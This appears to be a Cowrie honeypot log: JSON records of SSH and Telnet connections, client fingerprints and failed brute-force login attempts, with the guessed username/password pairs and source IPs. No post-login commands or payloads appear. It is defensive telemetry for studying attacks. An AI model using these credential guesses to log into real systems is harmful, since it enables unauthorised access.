{"eventid":"cowrie.session.closed","duration":26.660680055618286,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:14.984524Z","src_ip":"152.42.224.71","session":"95bf04766ec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.99541997909546,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:22.719863Z","src_ip":"152.42.224.71","session":"eea723200385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38602,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0157b8bf061","protocol":"telnet","message":"New connection: 152.42.224.71:38602 (10.17.0.5:23) [session: b0157b8bf061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:26.230952Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60024,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a727eacf46e","protocol":"ssh","message":"New connection: 103.176.20.57:60024 (159.203.135.109:22) [session: 7a727eacf46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:29.946878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:29.952717Z","src_ip":"103.176.20.57","session":"7a727eacf46e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:30.207175Z","src_ip":"103.176.20.57","session":"7a727eacf46e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555556","message":"login attempt [root/555556] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:30.970721Z","src_ip":"103.176.20.57","session":"7a727eacf46e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56420,"dst_ip":"159.203.135.109","dst_port":22,"session":"944b43ad083f","protocol":"ssh","message":"New connection: 37.233.85.71:56420 (159.203.135.109:22) [session: 944b43ad083f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:31.989501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:31.993428Z","src_ip":"37.233.85.71","session":"944b43ad083f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:32.101614Z","src_ip":"37.233.85.71","session":"944b43ad083f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:32.226307Z","src_ip":"103.176.20.57","session":"7a727eacf46e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbyudby","message":"login attempt [root/gbyudby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:32.425701Z","src_ip":"37.233.85.71","session":"944b43ad083f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.918431520462036,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:33.193665Z","src_ip":"152.42.224.71","session":"cc539994f480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.5050528049469,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:33.455379Z","src_ip":"152.42.224.71","session":"afa0f0a7626e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:33.536322Z","src_ip":"37.233.85.71","session":"944b43ad083f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38614,"dst_ip":"10.17.0.5","dst_port":23,"session":"98a2a46a16af","protocol":"telnet","message":"New connection: 152.42.224.71:38614 (10.17.0.5:23) [session: 98a2a46a16af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:34.457579Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50706,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb70148d84a3","protocol":"telnet","message":"New connection: 152.42.224.71:50706 (10.17.0.5:23) [session: bb70148d84a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:41.035607Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50720,"dst_ip":"10.17.0.5","dst_port":23,"session":"821ffaf86903","protocol":"telnet","message":"New connection: 152.42.224.71:50720 (10.17.0.5:23) [session: 821ffaf86903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:43.085090Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59676,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcf6ceb15c7f","protocol":"telnet","message":"New connection: 152.42.224.71:59676 (10.17.0.5:23) [session: bcf6ceb15c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:47.248715Z"}
{"eventid":"cowrie.session.closed","duration":50.320186614990234,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:53.771748Z","src_ip":"152.42.224.71","session":"2934325207d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00119614601135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:54.284063Z","src_ip":"152.42.224.71","session":"b345a4475149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.93444228172302,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:54.516010Z","src_ip":"152.42.224.71","session":"0e823c9b3ba8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.779831647872925,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:05.010705Z","src_ip":"152.42.224.71","session":"b0157b8bf061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.370024919509888,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:10.455022Z","src_ip":"152.42.224.71","session":"821ffaf86903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55396,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ecb2d123d70","protocol":"telnet","message":"New connection: 152.42.224.71:55396 (10.17.0.5:23) [session: 5ecb2d123d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:14.982827Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55398,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f52f3d48d49","protocol":"telnet","message":"New connection: 152.42.224.71:55398 (10.17.0.5:23) [session: 3f52f3d48d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:15.442541Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35620,"dst_ip":"10.17.0.5","dst_port":23,"session":"f36c93bcf67f","protocol":"telnet","message":"New connection: 152.42.224.71:35620 (10.17.0.5:23) [session: f36c93bcf67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:16.706374Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":40214,"dst_ip":"10.17.0.5","dst_port":22,"session":"e61994b9e1e4","protocol":"ssh","message":"New connection: 171.244.37.103:40214 (10.17.0.5:22) [session: e61994b9e1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:19.484825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:19.489084Z","src_ip":"171.244.37.103","session":"e61994b9e1e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:19.741633Z","src_ip":"171.244.37.103","session":"e61994b9e1e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"appadmin","message":"login attempt [root/appadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:20.785035Z","src_ip":"171.244.37.103","session":"e61994b9e1e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:22.041100Z","src_ip":"171.244.37.103","session":"e61994b9e1e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35622,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d926a25f646","protocol":"telnet","message":"New connection: 152.42.224.71:35622 (10.17.0.5:23) [session: 1d926a25f646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:23.153626Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48970,"dst_ip":"10.17.0.5","dst_port":22,"session":"430564150a49","protocol":"ssh","message":"New connection: 194.59.206.2:48970 (10.17.0.5:22) [session: 430564150a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:24.678400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:24.683179Z","src_ip":"194.59.206.2","session":"430564150a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:24.777155Z","src_ip":"194.59.206.2","session":"430564150a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:24.872817Z","src_ip":"194.59.206.2","session":"430564150a49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36250,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7311d485025","protocol":"ssh","message":"New connection: 80.94.92.184:36250 (10.17.0.5:22) [session: f7311d485025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:29.719931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:29.745378Z","src_ip":"80.94.92.184","session":"f7311d485025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:29.908787Z","src_ip":"80.94.92.184","session":"f7311d485025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54350,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4aa78638e0","protocol":"telnet","message":"New connection: 152.42.224.71:54350 (10.17.0.5:23) [session: 7c4aa78638e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:30.550351Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:30.919029Z","src_ip":"80.94.92.184","session":"f7311d485025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:32.206916Z","src_ip":"80.94.92.184","session":"f7311d485025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54356,"dst_ip":"10.17.0.5","dst_port":23,"session":"4082bfff8e31","protocol":"telnet","message":"New connection: 152.42.224.71:54356 (10.17.0.5:23) [session: 4082bfff8e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:35.271781Z"}
{"eventid":"cowrie.session.closed","duration":97.28452348709106,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:36.331213Z","src_ip":"152.42.224.71","session":"5b170f76e0a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.84293580055237,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:36.878422Z","src_ip":"152.42.224.71","session":"bb70148d84a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.73287010192871,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:37.981486Z","src_ip":"152.42.224.71","session":"bcf6ceb15c7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":22885,"dst_ip":"10.17.0.5","dst_port":22,"session":"d28d28194ffa","protocol":"ssh","message":"New connection: 213.209.159.56:22885 (10.17.0.5:22) [session: d28d28194ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:43.283473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:43.287447Z","src_ip":"213.209.159.56","session":"d28d28194ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:43.368346Z","src_ip":"213.209.159.56","session":"d28d28194ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah","message":"login attempt [khadijah/khadijah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:43.767225Z","src_ip":"213.209.159.56","session":"d28d28194ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah1","message":"login attempt [khadijah/khadijah1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:44.853508Z","src_ip":"213.209.159.56","session":"d28d28194ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"khadijah","password":"khadijah123","message":"login attempt [khadijah/khadijah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:45.942556Z","src_ip":"213.209.159.56","session":"d28d28194ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60482,"dst_ip":"10.17.0.5","dst_port":23,"session":"769b8757d07f","protocol":"telnet","message":"New connection: 152.42.224.71:60482 (10.17.0.5:23) [session: 769b8757d07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:13:46.243079Z"}
